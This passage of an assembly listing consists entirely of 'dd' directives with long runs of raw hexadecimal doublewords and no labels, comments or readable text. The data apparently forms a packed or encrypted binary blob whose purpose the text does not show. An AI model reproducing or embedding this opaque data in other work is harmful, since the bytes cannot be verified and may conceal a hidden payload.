0D0348E01h, 98F01EBFh, 0C1FA2Bh dd 0F80305FFh, 81398966h, 5CA87E7Fh, 0CE148B19h, 889F2AE8h dd 1DE1644Eh, 0F166BA38h, 0EE072DFh, 0D02B42EBh, 566DF84Fh dd 0A06FD789h, 0AD20C8Fh, 50C1E6D0h, 0DFC29EEAh, 0E742A386h dd 40021FFEh, 81C35E5Fh, 5351ECD6h, 0DA3E16BBh, 0E8DB8594h dd 1A7EF901h, 40FC5D89h, 8D0855B2h, 0CE63470h, 3FE83E18h dd 0E6C603FDh, 75FC0C4Dh, 42C25EEBh, 0D3CB8B02h, 45B5FE2h dd 191F95C9h, 0DD89763Ah, 57309CF8h, 3942FFC3h, 0D98BC97Dh dd 7EFCA8FBh, 78566520h, 0C420312h, 2385E81Eh, 14D0CFBDh dd 0E003D306h, 47FC4509h, 7C48123Bh, 14151BE2h, 61C98824h dd 0E899F26Dh, 4940ECDAh, 0E8D3E46Eh, 0BABCF54h, 493DC638h dd 0EA7C14BEh, 0A05B2B9Fh, 9C195035h, 5294FCD2h, 751BC443h dd 0D0D1B808h, 0EEC1D865h, 468D070Eh, 26E0CF01h, 1B76C303h dd 7396E847h, 0D80BDBD0h, 75F03B02h, 0A1FB811Ch, 1AEBD340h dd 1BB657B2h, 0A276E822h, 99D88B59h, 0B88AE61Ch, 6585C38Ah dd 0FA820E56h, 7CE8F147h, 0C0138541h, 2A461675h, 3AC570Ch dd 8D036A04h, 5AB0304Ch, 31C7DCE8h, 4EC03BEBh, 0F8D78B02h dd 5724A832h, 4B1B6575h, 8C242210h, 4E919F0Dh, 0C08301B5h dd 6A11EB08h, 48EF840h, 0A213A102h, 0D2D2100Ch, 4ABE2C67h dd 813F938h, 41F1544Eh, 0C8030C4Dh, 70473324h, 52A4F1B8h dd 0C9283D1Ah, 4DCCEBDCh, 0E806C8F4h, 10E6E528h, 661AD6D2h dd 0F84D414Bh, 20EC0690h, 0D3E403F0h, 73605E7h, 0DB325A05h dd 0CE1C4F4Ah, 604D390Ch, 2E106055h, 6A0873DCh, 0E958020Dh dd 9842E1A0h, 0C8754076h, 0A8B7F9D1h, 0FE202FDCh, 0C913ABF3h dd 0FF0A6661h, 3201875h, 4D8D0214h, 0FCFAE8C8h, 207D8EA3h dd 70860F80h, 128A5DD4h, 86192310h, 89C1D820h, 851860DEh dd 0EA13A366h, 61AA42F4h, 9B460420h, 624E73C2h, 0FD446455h dd 76621246h, 4223DC82h, 0B1A58047h, 0E74D2A08h, 90C38020h dd 0C59CA3A5h, 0C203A100h, 9040048Dh, 83091D05h, 8806E4FFh dd 7D0F0E6Ch, 0F4658706h, 3D10EB03h, 5BA0A24h, 0B903EF9Eh dd 0D060A65h, 30CEF4A5h, 20497408h, 0B02B39F6h, 8A1C9AF8h dd 88103C04h, 0A09A18AAh, 83FE1D65h, 8816C77h, 0E76C0E47h dd 54D8678Ah, 836A941Ch, 0AE0843F2h, 3401807Eh, 0E894C233h dd 0C1A36242h, 1B50C33Bh, 0B2E1C7AFh, 23983A2Dh, 2F519EE8h dd 752F8EA6h, 0F47A445h, 8A039592h, 4605C1D1h, 184E86E8h dd 0EE392C75h, 8B84350Fh, 0F0B51455h, 707FF1Fh, 912BC09Dh dd 0C1448DF8h, 0F4F94309h, 338AD339h, 31FF3301h, 0E912884Ah dd 58A4CE4Ah, 184622B0h, 48C30575h, 2B27EBECh, 0A8AC82Bh dd 0E1182EE8h, 0BA09EBF0h, 0E410E476h, 1D38B587h, 0B419B6ECh dd 0E613A8EDh, 8481DDA2h, 480A688Eh, 0D5AA9B32h, 0EA6299C2h dd 0DC487E91h, 0D9E7FDE0h, 0ADE9110Bh, 6C8944C2h, 0E41C5BF0h dd 6D0CD1DBh, 5912849Dh, 6488882Ch, 11322906h, 50E81B0Ah dd 4F8D997h, 4C7CB424h, 58247D03h, 0F25194D8h, 624073Dh dd 53609381h, 9E74144Bh, 647C2154h, 0C7D1E249h, 0FB2391D6h dd 30CFF94Ah, 3E98CABAh, 5D0E2ACCh, 5115247Dh, 0F02B1DE4h dd 55E4E5Eh, 0D73AE880h, 0EB70015Dh, 0E7C28321h, 0A4FB0FE1h dd 493E18h, 50C8451Ch, 0F691F16Ah, 0EB5A0A44h, 90B4CEDBh dd 6284B685h, 48838ED3h, 3424C906h, 3C80A630h, 3F3A779Eh dd 0C1A41C39h, 42429CD3h, 188AC703h, 41394040h, 854A4009h dd 7EC2A1D2h, 20D43B05h, 0F1EC4972h, 0FE0E778h, 0B5905582h dd 0CC95D245h, 851C6E83h, 41EB75D2h, 0F0D1C378h, 102E1263h dd 0F8A8772h, 82E14480h, 0D1610DBBh, 720124F4h, 0E9440762h dd 0E3194A96h, 2D2E2C55h, 805F2E2Eh, 0E4321472h, 0B37DC18Ah dd 0C1F3F62Eh, 807C8FAAh, 7548D30Ch, 0BA093CFAh, 0F71CA612h dd 0F781FC1Ch, 1EC9F516h, 60682F1h, 5061C6BBh, 0E068CFE3h dd 268D9210h, 41A71B9Ch, 71FF5253h, 2077CD9Dh, 7A90C8BDh dd 94D38BA1h, 6FB40514h, 88527220h, 0FC12B857h, 2420651Dh dd 8CE4F633h, 806E4601h, 69C36A81h, 202402Eh, 0C385C68Bh dd 0F8C41E5Fh, 80B90153h, 0 dd 5D00h, 0ECD00020h, 40000000h, 2A000008h, 1788D9A2h dd 7D250F8Ch, 31A67B49h, 0B824D18Ch, 12D4E738h, 87D440C8h dd 0A006CB2Bh, 98593834h, 838FA47h, 44B210B7h, 1628CACh dd 172115BDh, 0A21CA325h, 0B2318123h, 0BC0A9968h, 0BD81DF54h dd 9F6559C8h, 0FAA1665h, 9B18063h, 0F9D3B835h, 0EBE37107h dd 77D21CD4h, 0BDD5DE49h, 144E7903h, 1AD726D8h, 28CFB840h dd 0F6153266h, 129029ABh, 741863E9h, 4C3DDB23h, 46049E4Fh dd 9628E33h, 8AF62B33h, 654D881Ch, 5ACEA885h, 43F2B27Fh dd 924570EDh, 9D1428D1h, 4B7C7733h, 1BBC1D4Fh, 0B1F5AF83h dd 0BADC6A9Ah, 5E5111BFh, 6588B9F0h, 0B5B507B3h, 97567ECFh dd 43640B35h, 6C6FAD5Eh, 2954EB1Dh, 8467220Ch, 8E05E2FAh dd 16862FAFh, 0B5E451A7h, 136B3365h, 16DDA842h, 93665D7Ch dd 0DCA03B57h, 8FBAE04Eh, 46FC2229h, 0FE6DEBAh, 3FA9268Ch dd 337A056Dh, 19AFE074h, 0D2C35D37h, 205BEEFEh, 0D6A7F9B2h dd 253E8A2Dh, 0CBCCEBE9h, 0D3CC8F00h, 6DF7E2F4h, 4EF81BDh dd 0B8CEFFA6h, 1FA7E8C2h, 0A8838F27h, 8D1FEF81h, 83E4C9D1h dd 8D9B1F48h, 0B01E1729h, 27E9C7CAh, 0C5907CDDh, 169B5FBDh dd 0AB29C634h, 0C54C2C78h, 0BAE61392h, 0FAF5E9C5h, 73A3C1C8h dd 26F635D2h, 0D203F9F1h, 55EF2096h, 0E93DB91Ah, 7735D041h dd 19C0A1CBh, 0BE634D9h, 1617A122h, 0F40C58F5h, 8683EAFCh dd 71DD48F8h, 0CCE5F401h, 5137E36h, 651B90C8h, 0C63A453Ch dd 0B9C78C97h, 64B33E3h, 89BFF86Ah, 478C6B9Bh, 7C985831h dd 0A2BA4B8Ch, 1615B931h, 0E906A50Eh, 25B8E2CCh, 7CA4C6F0h dd 5CB4A3C5h, 3F4DEA98h, 6832E49Ah, 0B309B443h, 94DBB195h dd 0F4B8534Ch, 0EADB69FDh, 0FD626E2h, 0EBE2C79Ah, 318A3F8Bh dd 0E99966D6h, 5097AE17h, 0B8999C1Bh, 97186EE3h, 0CEB2D92Eh dd 36C286A1h, 464F8A02h, 0F0A51891h, 3B049F2h, 753C3DEAh dd 9E53FA96h, 104474FAh, 9F16BE8Ch, 45BB0CF3h, 18E93467h dd 0B5C6B4A7h, 965D067Dh, 50C6E306h, 0C252CFB1h, 0B7A0D67Fh dd 8D9859D1h, 0B6CB54CFh, 6E7D2A8Dh, 0EC88CD8Fh, 0AE665C23h dd 0A51828BFh, 82C5A038h, 0E4A29074h, 5A22E10Eh, 55FF9F4h dd 12D9ADF3h, 6498FA2Eh, 769BE314h, 0D0DB4549h, 836FC556h dd 0EC7E6B1Fh, 1227D9EEh, 245B97B4h, 1EE2A331h, 0EB7E8AFAh dd 0E28A24ACh, 0ED266572h, 34A87519h, 7C9CAF4Eh, 0D29C139Ah dd 14D694C3h, 9034AF0Dh, 0CFF7B47Dh, 48598294h, 9456D1FEh dd 0F034E3D9h, 0EAAD2413h, 9E1F4E95h, 0AA52D8DDh, 23798ED0h dd 739C6575h, 7E58CF90h, 0A88BCD1h, 0DE1D4FF1h, 3F55D0EFh dd 0E084FE1Dh, 90418557h, 0CF423F8Fh, 3383A068h, 0FA8D6978h dd 0DCA01224h, 0BBCA241Fh, 87D8697Dh, 0A3B35BB6h, 7444023Fh dd 7DB1EF0h, 96E383DEh, 0B75DA5D1h, 0D4FCC217h, 97D284C9h dd 0AE44B1D4h, 0AD02A347h, 0F69906E8h, 0AE712770h, 865F4B25h dd 44E2F9CDh, 1DDCFD21h, 0C89C2B23h, 0A75177E2h, 480DB938h dd 8FFB1382h, 28F60002h, 0D5D9A0C9h, 0CC21EF09h, 0E031D455h dd 0A7BC5504h, 3C05A014h, 0E4F6A59h, 0ABBEF465h, 0FD35F9D6h dd 7DBA670Fh, 184C1D33h, 0B61BD1C6h, 2EAFA568h, 0E934555h dd 677057FCh, 7D1E95F2h, 9905A1F9h, 74C2C847h, 56E08CB6h dd 0C25A679Fh, 4D323E96h, 5DA160Fh, 0C8844721h, 0E7DB4A19h dd 0AF2E5798h, 0A9034D1Ah, 98A1B43Fh, 0D22ED1E4h, 0CE4A02FBh dd 0BC4CEC0Dh, 0A4850E47h, 852BB59Ch, 0AD1ACFC3h, 0E8EB8181h dd 0FBC05BFEh, 30F195F4h, 0C471F2CCh, 1726C61Bh, 0F1EB5B79h dd 59679ACAh, 7F07A209h, 6A54E3F3h, 0AEBCBE0Ah, 5C7CEBC7h dd 7619FEDEh, 4AF1200Ch, 0F4EC2CCBh, 0AF0271Bh, 0E1C49C0Eh dd 6E1A379Dh, 37E49988h, 0DAA3DF82h, 3B32C796h, 0C771DFD9h dd 5786A145h, 9B5EE5A2h, 9D5F4E4Eh, 0BA30603h, 4405B9DDh dd 0B1339885h, 39524088h, 93F0970h, 9B34E308h, 0D99A50B4h dd 40F598EAh, 6E87BFB6h, 0EC4DF540h, 2A8C5C16h, 0F5382E9Ah dd 0A35B5456h, 237830CEh, 8202ED47h, 0CF1622C4h, 59E6C2BCh dd 575D8262h, 813FAD04h, 0C119D5DEh, 59D4C984h, 99C52A9Ah dd 76A31C58h, 0A3F33742h, 54118D0h, 0E3B9371Ch, 912E69BAh dd 829355DDh, 0EC839997h, 5772CCBDh, 0FAAA053Eh, 0E9BDCDB6h dd 0ABDAE6BDh, 5EFF0D0h, 5E265A83h, 0DBA19822h, 0F295D453h dd 1F1F9731h, 0FF78525Fh, 0AE426508h, 69B1815Ah, 1BCF67E9h dd 326F21F3h, 394EA5A2h, 74A7A8CEh, 0E6185561h, 0ABBA05DDh dd 8C84B38Bh, 9BFBC481h, 7AE8C847h, 0F71E3929h, 2B8A6561h dd 3E165B3Eh, 0EC444925h, 4C321A59h, 96FD646Fh, 1436D998h dd 9D5ACBFFh, 1CF46C1Fh, 97ADD826h, 82BEA6ECh, 0A8AE86E7h dd 3B0DA89Ch, 3688966Fh, 0E602D575h, 85C16B72h, 0A39B1A5Ch dd 9AA1DA43h, 0D0219AE7h, 3B7C608Ah, 0FB4144ECh, 47F8CEDAh dd 99AECD7h, 0BA0BFBFAh, 108B8117h, 87F70851h, 0F849FA29h dd 0FAB51456h, 1637D15Fh, 0FEB5A7BFh, 52672296h, 0ACC88331h dd 0B537ED1Eh, 8B17F5A3h, 9AC7769Dh, 27B5D510h, 0A712C070h dd 72E3154Fh, 0CA37BF5Eh, 5F9D3F98h, 0FE9B6130h, 27D7D642h dd 0CF02C946h, 1B81DEF2h, 0C098AC87h, 0A54BA112h, 3A7BBAC8h dd 3C7CFD19h, 52A557ECh, 0BCF457A6h, 0A6D47AB6h, 8C690FDh dd 0AE215C26h, 0B8761289h, 0E453EB8Ch, 0C7092458h, 4C53780Bh dd 3B4DA098h, 0BDBCFD02h, 573EF6E9h, 0B42318BEh, 109ED925h dd 8C1F3D81h, 564FFD66h, 6464DF07h, 86B8862Fh, 29C73B56h dd 1795AE14h, 0B5CD09FBh, 0F5D48786h, 867BB36Ah, 0A383E271h dd 0E067D166h, 88FFD8B9h, 0A5739EE6h, 4CF2179Fh, 0AAEF1C45h dd 42179458h, 801B621Eh, 2BE65E5Fh, 5B93BC26h, 2C8BBD78h dd 0F3CBE53Dh, 3FEB03h, 0B661C636h, 0C0C456BBh, 7309B14Dh dd 4752FF64h, 0D243E8E9h, 920FDC28h, 0D131B633h, 71A06647h dd 8EF28F7Ch, 4AFECAEEh, 202202B2h, 3C9A02B9h, 0C194819h dd 6F48C92Fh, 0BB85F901h, 7701C413h, 989A2501h, 67470C9Eh dd 0B0795EC6h, 7A8001B1h, 8A719647h, 62D28220h, 7B7DAC77h dd 0D05E7C72h, 0F29ACC9h, 573058A0h, 1BE30D05h, 0B1089DCEh dd 0DB4BFCEAh, 0D0F2D82Ah, 92D3C342h, 5298E081h, 0E8985C79h dd 9D6D8D76h, 802F17F5h, 0A13A65BEh, 0D160898Eh, 4F8CCC03h dd 0FB1BADEFh, 8CBF2E9Fh, 0AD6DD840h, 52E27511h, 0BBC82A15h dd 707A644Dh, 8ACDDC9Bh, 0AB5D996Eh, 494E1B2h, 5E60DBF4h dd 53EF4C85h, 0F6C43ED8h, 8463BDEEh, 0DA96DFEEh, 560B003Bh dd 43CF1F82h, 1419D311h, 0DAD544ACh, 95A157ACh, 2DB14BCCh dd 0DBC1055h, 8128FFCCh, 0DBF50124h, 0D6D58516h, 9424CD9h dd 0FD479C2Eh, 25268057h, 0DFE92444h, 30298229h, 0B4FB72F1h dd 57180844h, 4DC75A9Bh, 0F8BE4DEFh, 0FE5381B7h, 0E7EEC82Eh dd 0BC2C8B36h, 279C1403h, 7543A811h, 9A94FF00h, 91655F80h dd 144C40BCh, 399AA331h, 3A3BF3C5h, 4C7DAE53h, 0A749972Dh dd 0AC5D32CBh, 6FEF581Eh, 63BEC4BEh, 4BC7BF10h, 7395E26h dd 0C69D1DDEh, 0A4CEF8F6h, 5D229C80h, 3BCC86FEh, 0BA5BD495h dd 0F15F0F8Eh, 8F13F721h, 516B0BC1h, 5CA9F035h, 56157B22h dd 0C464BF36h, 4F270A3Eh, 0E801644Ch, 7B824594h, 81CAB4C8h dd 8D73CFA8h, 2A7E2BE2h, 61BCD8D8h, 0F4697B07h, 0F16B9201h dd 0B2883904h, 0E00F3D5h dd 2FAF8BC2h, 113B5248h, 68AC91B1h, 297B9AA3h, 0BC9BE80Eh dd 0A28D5A3Eh, 907EC629h, 33A1FDE4h, 0DE2CF42Eh, 0EA13535Fh dd 4B54F108h, 0E7929527h, 24EB55FDh, 0A7DD616Ah, 269C5857h dd 513DAFC9h, 0A5F1E20Ah, 0DD2BAEA0h, 0E3718F76h, 5084C7FAh dd 1D715E14h, 4D23838Ch, 6099FEBBh, 0DD67E3D6h, 0E8F7ABCh dd 0E4D33138h, 0C04936D2h, 0C16B9F4Bh, 37E8A907h, 5B0A1DCh dd 9F5915D9h, 0A1E4D060h, 58C5969Ah, 0E1022D90h, 0EF257387h dd 8CC501EDh, 62F84A96h, 0CC095ED5h, 2C2078F2h, 21FA4CF5h dd 82617212h, 550FE0C8h, 0CAFD82A5h, 16660FBFh, 54FD6A4Eh dd 0F189F566h, 0A4DA9BC1h, 0A65FEB54h, 5DF97E82h, 24876C16h dd 0B56AF4A5h, 0E85A98DFh, 180CFD79h, 400C8548h, 0C4114300h dd 0BB36E998h, 0D1748267h, 54C725F3h, 783F5E3Bh, 0EEB39E4Eh dd 0EF205EE6h, 0DA9D2FE6h, 249C570Eh, 0ACC959F3h, 7CB2AB10h dd 0FA7017DAh, 0C0CA79F6h, 8B138DCCh, 103AC15Ch, 1DBAF3BBh dd 3469967h, 0F750D6F9h, 390CE248h, 0E67266CCh, 0DB433B1Dh dd 0E8356E8Eh, 9042716h, 965D8D20h, 47CFB414h, 548A34A8h dd 9B30577Ch, 0F9CA4D8h, 0FC554B3Fh, 45A81161h, 4149D194h dd 0BCCE595Ch, 0E8AE87C8h, 932AEAh, 69B30470h, 2EC880D7h dd 0F9DA7097h, 78923F39h, 730A0540h, 64E1473Eh, 0AABC5E3h dd 1DC13A0Fh, 9EC1D8E4h, 0AE071EE7h, 1C1B87C7h, 8BF69E2Ch dd 504608A7h, 927DEE8Eh, 3C3CB91Fh, 7679469h, 0E1E4B6B5h dd 0FC7D7F08h, 600BF026h, 605938F0h, 302D739Eh, 0E6A33431h dd 609A9EA8h, 63CC63BFh, 94D1035h, 19BE998Ch, 0BEBF3237h dd 0AC129DE6h, 0C2900727h, 20170132h, 0E1508752h, 5A7683DFh dd 0FC07FE8h, 99F628DDh, 64908605h, 0A49E6BEBh, 30E9572Fh dd 59335D51h, 0A290636Fh, 2A93100Ah, 8C9970EAh, 0BA464439h dd 531A3180h, 80639962h, 0CF75EFDCh, 428D83E5h, 1A2BF208h dd 7FA65C7Eh, 0EECCFBB4h, 0CA0B1666h, 29646163h, 72EEED97h dd 98FC043h, 0A98FF349h, 2E88692Ah, 0F19A967Fh, 250DE853h dd 3C0D0BB0h, 0F0405224h, 13904805h, 5AD9A20Eh, 3EBB0FC1h dd 0CD338D6Ch, 0A61909B9h, 5E2B6CBAh, 3840FB32h, 58509AC1h dd 126FCD4Dh, 805FE69h, 551CE7CDh, 4F2A5288h, 0F018A051h dd 7155BC9Dh, 0EDF2998Eh, 344934FBh, 0D95F7175h, 16A15D84h dd 0F36A31E7h, 4F4E3273h, 43EA760h, 4D96B06Bh, 0AF2801AFh dd 3D21B13Bh, 69C04A2Dh, 84E342FDh, 5342C555h, 0DA716A79h dd 8D1762C8h, 0DB6C1730h, 1815897Ah, 147EA0FCh, 0E89B41B1h dd 9E7F5FB7h, 0FCA13ABh, 0F93E733h, 0DA2F9F7Fh, 68BEE5A3h dd 308DC385h, 0C4EE527Fh, 107CE3FBh, 0EA6D4A32h, 686F6896h dd 3C745186h, 67C5C87Dh, 0DABE4A58h, 0CB40E152h, 661D6DE4h dd 0E1E8F7CDh, 7EA3B0BAh, 8E8E9CCCh, 77B83CB7h, 0AFF23993h dd 59922748h, 0B336F342h, 5797211Ch, 0AAD82AA5h, 0C383D474h dd 22345090h, 0A1861CA2h, 0F404111Ah, 22EECF2Ch, 95DF74D5h dd 0F0F8BC32h, 68370F7Fh, 0F2C2396h, 0C94A8148h, 68D920C9h dd 0ADEBD29Fh, 4FBFCB03h, 0E43E8ECh, 433D2179h, 8A5D2E57h dd 2EB58F3Ch, 0C004944Dh, 738232Fh, 0BBB60F67h, 8035FB05h dd 18706B92h, 2C1116F2h, 746A21B0h, 6D89006Fh, 0EB916D0Eh dd 4254D78Fh, 160B9B73h, 0CC3C75D0h, 0FEA58649h, 8913D57Ah dd 0DDA795C8h, 0FDB3D012h, 0C96C36C6h, 334AC737h, 8D26FC68h dd 23E2BAB2h, 1488B783h, 0CF880CC7h, 35170D5h, 1B388C97h dd 348B3284h, 7C17576h, 5F05472Ah, 0C0CAAFF4h, 7E78DD56h dd 0A3409B5Eh, 979C2A57h, 0DB02A836h, 1484F3B5h, 424DEA5h dd 0D746AF1Ch, 0C2A3B362h, 0C9C430F3h, 97361619h, 0D965E8B1h dd 0F16DEF27h, 4B08F341h, 0FC5FE3FFh, 1A220E39h, 3B6CFD14h dd 0C71C5A9Eh, 2355B5F8h, 0B54E9536h, 0EBD0AC0Ah, 15BD0D4Dh dd 0C17D9B19h, 3D383D09h, 3C07D6BAh, 0C300BA7h, 19AED02Ah dd 0D4476F33h, 901D8DF2h, 0AE38B0F7h, 0C2D7B7DCh, 0D40576A1h dd 3DE25B08h, 0A67B7A6Bh, 0C04F1913h, 10D01D3Eh, 10944AAAh dd 4F97EDEEh, 8C568EDEh, 0AC683262h, 98FED556h, 29067224h dd 0C842BD25h, 5517A4CBh, 0AC5E4A5Fh, 428B6EDAh, 367704B4h dd 67A31D5Eh, 18C68E30h, 4C5D3596h, 0A8A8109Eh, 0FA009CBDh dd 70843956h, 0DA7E228Dh, 34798330h, 92F869D3h, 6041F2A8h dd 0FF18686Ch, 0D343BFBDh, 3B2D2F22h, 57DFEEA8h, 0C904567Dh dd 6C7A97B5h, 9874B443h, 12E207DDh, 3D691ECCh, 129C2036h dd 0E49F12BBh, 5078AB90h, 0FCCE9C86h, 54FFEF0Fh, 39C8AEC6h dd 0BD14E51Eh, 0DE81E268h, 0DEDFEC68h, 8BC8CDC5h, 0B6054844h dd 0A3C9E526h, 0C0F50289h, 187718CEh, 0BF779888h, 705BA9A1h dd 5D345547h, 0CCDA667Eh, 3E76599Ah, 0CB28DA87h, 438A8C2Bh dd 42FA60B2h, 11CE1D65h, 2C8E6554h, 32040B88h, 9B34B493h dd 4D934AD1h, 0DFA61786h, 2A1E62A0h, 5D488829h, 17E4FADDh dd 15EFE093h, 574B4092h, 5CF9F8FBh, 9F470F72h, 0A38AB76Ch dd 15B4A5C3h, 4D8C9A15h, 0B2B3250Ch, 0F10095B1h, 591436F3h dd 1666DC8Ah, 5DD55D72h, 6DEF5703h, 7BEB9781h, 73F4620Bh dd 0AB7BAD09h, 52C69CCCh, 1BA95F01h, 0D90EE0C1h, 9FF2CD8Ah dd 0A97B07CEh, 0EABA6654h, 6AAC4490h, 5BBF4104h, 0B5F33AAh dd 71B82203h, 8D32F984h, 6F163F8Dh, 0EE677959h, 88B835FAh dd 518B705Ch, 0D5C28788h, 490E67BBh, 0D61B2746h, 0F88104CBh dd 0CDC7F5B5h, 0FE3B93E8h, 0D1833226h, 0E2CF0A41h, 0EF33E10Bh dd 9E642E4Ch, 77E6D6BBh, 4026B222h, 0BC0A3C7Bh, 0EC1296AAh dd 0A96A177Ah, 45E00B5Ch, 22C3F416h, 76663C6Ch, 74CA180Bh dd 0DC1D8808h, 0E3543A2Ah, 38EF36E3h, 961EFB37h, 130EA523h dd 1574A5DBh, 116927D8h, 8F2CB29h, 0EF896C09h, 0A5FA3D9Fh dd 420D80BDh, 2CB8C08Fh, 24F2CB9Ch, 36F4F786h, 344C1D80h dd 66ECB958h, 47FF4196h, 0DFA5D4E1h, 0C3CD2FD8h, 7561BA62h dd 3F0DD319h, 7F473F9Bh, 0F6F6ADBh, 2EE78933h, 71F5E942h dd 2993973Bh, 24E2D44Eh, 36E7AE0Eh, 6BD102C8h, 2B64CCAEh dd 7C0F2A2h, 6DD12A28h, 379B4875h, 0A23FBAB4h, 6423829Fh dd 3582BB1Eh, 19C9CDFDh, 0D1649ABEh, 0C955E08Eh, 0FBEAB46Eh dd 7CFC64F0h, 0E57B21A1h, 3CD752B9h, 8ECD3123h, 81E409CFh dd 0A450BE11h, 313145D6h, 0ED97DA39h, 24972D5Ah, 0D8354035h dd 0FA9EAA45h, 27C1F4C7h, 0ED2A9EBAh, 0C7BE67A3h, 6BE33C0Ah dd 0AC383B0Fh, 0B213E7Ah, 60628CE0h, 8ECAC982h, 0AD1F1025h dd 0BD688CADh, 0F5C2E362h, 6A50FFA6h, 8916C6E9h, 8624DFF7h dd 23E71B0Eh, 1E5E8F46h, 0E72AD889h, 992A8105h, 0D5CCBF8Dh dd 0BDB2EE9h, 0A9CDBFD8h, 61B4E067h, 0A8E6DF2Dh, 0B8032CC0h dd 492CE574h, 0D6F52F84h, 0FE9948EFh, 52CE385Ah, 3D590B96h dd 1BB9838Dh, 71107D3Bh, 0BDF2A340h, 7D5CBECEh, 1EEB0474h dd 213C870Eh, 349F831Ch, 617AE572h, 2800CD7Fh, 6482694Bh dd 53825317h, 9A787FF5h, 0EEB4F79Dh, 82E2B486h, 0A6B90C6Ah dd 995C990Bh, 0E8450A19h, 0A732C753h, 9EEE7AEh, 203F398Fh dd 686AC6DCh, 171FDD5Ah, 2EBAEE03h, 12419D5Ah, 21048F20h dd 0FDC6A885h, 403E18D7h, 3724F74Dh, 0FC0EA67Fh, 0D8B2724Ch dd 0D64E6971h, 1D1F9454h, 789BEA5Ah, 0E162C47Bh, 8A96120Ah dd 0FB2775A3h, 0CCAE0E51h dd 0E3020AFCh, 0E173B54Ch, 0DDAFC63Dh, 3D9A1C26h, 32A845EEh dd 0A5B597D7h, 5BE0E8ADh, 15D4A3C3h, 0E6AF49C1h, 0FA74C99h dd 760F3161h, 48895BA0h, 0D1847457h, 2A58B400h, 8EF21739h dd 0A329E139h, 0E7F7475Eh, 0BEF712EAh, 0F66C6310h, 42A32EEFh dd 0A149AE65h, 4876AF2Fh, 13CF342Ah, 0E68A97A2h, 4D4A3032h dd 50EEDBCBh, 0CFFC8290h, 6E20454Ah, 0A40C1C4Eh, 0A0B7AE2Fh dd 55B5F6C8h, 0C7E8B79Ch, 0E66BD153h, 0E341F4C5h, 0E56BE216h dd 7C70D992h, 777FEFE4h, 0F49A6804h, 27394143h, 0D9A7D84Ah dd 2AC0CEC7h, 0F86D283Ch, 0EA36BC0Ah, 8AA9608h, 0B3A25277h dd 3EA6B915h, 7C5F8C7Ah, 0E767F79Dh, 0DE4CFDD8h, 0D2945962h dd 0AC99A05Ch, 2FDCE30Fh, 0DBAF6E0h, 1C4011F1h, 0A5B00BAEh dd 5CCB3659h, 8F679A4Eh, 660F7D89h, 0BB9E6DACh, 7D27F0FCh dd 7FC836D4h, 0BB708F44h, 8949A463h, 790B9CB6h, 796D971Ch dd 1EF96BE5h, 21C8065Bh, 73A8D399h, 873C91FFh, 19932D75h dd 0D4BF3161h, 0ADAEA0C1h, 0FA6D1E5Fh, 0E9EEC424h, 1A9AF5Ch dd 0B06F8E6Eh, 0E6237986h, 9FDD44FDh, 109D2C62h, 62DF7CA2h dd 9FD62CB3h, 0E8328CC4h, 6E29A0BEh, 0E1D93F1Dh, 68F84BCDh dd 0FCE1A7AAh, 0A1CA5A7Fh, 0B73B6637h, 17A11DE5h, 0AE58F816h dd 622A4971h, 779966D9h, 0F76D4249h, 0EAF31345h, 59DDAD2Dh dd 90D6C991h, 728EAF10h, 0FC8BEA49h, 28248BC3h, 82F76491h dd 2751EDE7h, 96D3E1EAh, 4BDA6168h, 668C8451h, 40E1131Dh dd 27303651h, 0CF7017B9h, 6A1ECCCAh, 0F446FFEFh, 218DF23Ch dd 0E48A6ED2h, 40EF5118h, 6636F6Bh, 0E0C90CC0h, 0F91A02F5h dd 45D1672h, 19750851h, 0B6ED1231h, 0AB5E965Ah, 2F139F67h dd 468106CEh, 64EC8A85h, 0A8DA1328h, 4B47A2DFh, 109CC355h dd 77AB0BFFh, 0B40727DCh, 3BB0455Ch, 0E4DC7DEh, 890C9A1Ah dd 19BD9D57h, 532E705Bh, 270B3783h, 4C285921h, 993604C7h dd 3AC8DC5Ah, 36C99F02h, 0C9CE4C9Fh, 0DCD1A5ECh, 48F508C0h dd 0D44F43BCh, 57607E69h, 4085D7B1h, 0C35F6250h, 28D1E714h dd 914AE9B6h, 6E5AB21Bh, 2C8A7A99h, 9BFB691Ah, 7F4B39D0h dd 0D6F56084h, 41A018D0h, 7751133Bh, 296666h, 16264F76h dd 85CF1AB9h, 6A1A498h, 0ED8802E7h, 3640B2h, 88749BAFh dd 263EC3D5h, 0EFD373C2h, 0E7CF6AD7h, 0DF9E9AE2h, 5D4B1C46h dd 8FDEDDC4h, 1DB0D818h, 0FD682576h, 507EED53h, 0D5854F1Dh dd 0C57CEA2Fh, 0D8B26CEBh, 5B8350B4h, 54AC37CBh, 2156924Dh dd 935EEC98h, 22AF8EC6h, 0A924940Ch, 0E6044802h, 0E6B4594h dd 0C3D26557h, 6E3F6713h, 0E4A3C5B1h, 1FEB340Ch, 0C78EE5EFh dd 0C9B9C0B2h, 0F4BE485h, 0CA4FA695h, 0F35B84D8h, 0B67B47E5h dd 3E26D594h, 9A2DDCEEh, 0AB2B455h, 0BF1CBBE4h, 53C03C5Ch dd 5803D0D5h, 0C78679E0h, 39CFBB8Dh, 69FD18B8h, 1F3F56B8h dd 3D8F8A9Dh, 0B170D01Fh, 742933B9h, 1A91C40Dh, 5E17C240h dd 0CED8C906h, 0E6F76DCDh, 3F914D17h, 3E41D40h, 28680A8h dd 0CB2516BAh, 9EF67817h, 71173517h, 0BA3A8FFBh, 8F1E8C0h dd 7D006188h, 9A3B334Bh, 385BBDCh, 0FD0C0D7Ch, 0D43DD3A6h dd 37EE79E1h, 443545AAh, 8DBD75D7h, 6FBC35Fh, 0F5456141h dd 8D2E23A0h, 6D6FBF1Bh, 972EEC1Eh, 8D27E1B1h, 0D62E6713h dd 9409C036h, 2D937C71h, 72B2736Ch, 59BFEBADh, 0C51774A5h dd 68B99398h, 7F513C52h, 0FFBCEF1h, 17B38EBBh, 0A5556715h dd 620A495Ah, 2375162h, 0D041872Eh, 845BC9F1h, 56EDA029h dd 9DDD812h, 4FB9FEFDh, 9D2D5FE5h, 0F0187733h, 30037668h dd 0EC8B67DFh, 8BD1FBBDh, 15F6FB8Ah, 0D4C95437h, 3BA1FC76h dd 0C1C3F01Dh, 43AB7B47h, 69501686h, 0D8CEBD8Ah, 579DF9BEh dd 428FD5CBh, 2178E7C1h, 428718C3h, 79C2058h, 1EBA88BCh dd 78BC30D2h, 99DD173Dh, 0B7CFE592h, 304F36D4h, 8B8236C7h dd 0EDAFD505h, 0FA581FD4h, 1A12EFE8h, 5717E2E3h, 183656F2h dd 0EA69E95Ah, 0E25188D5h, 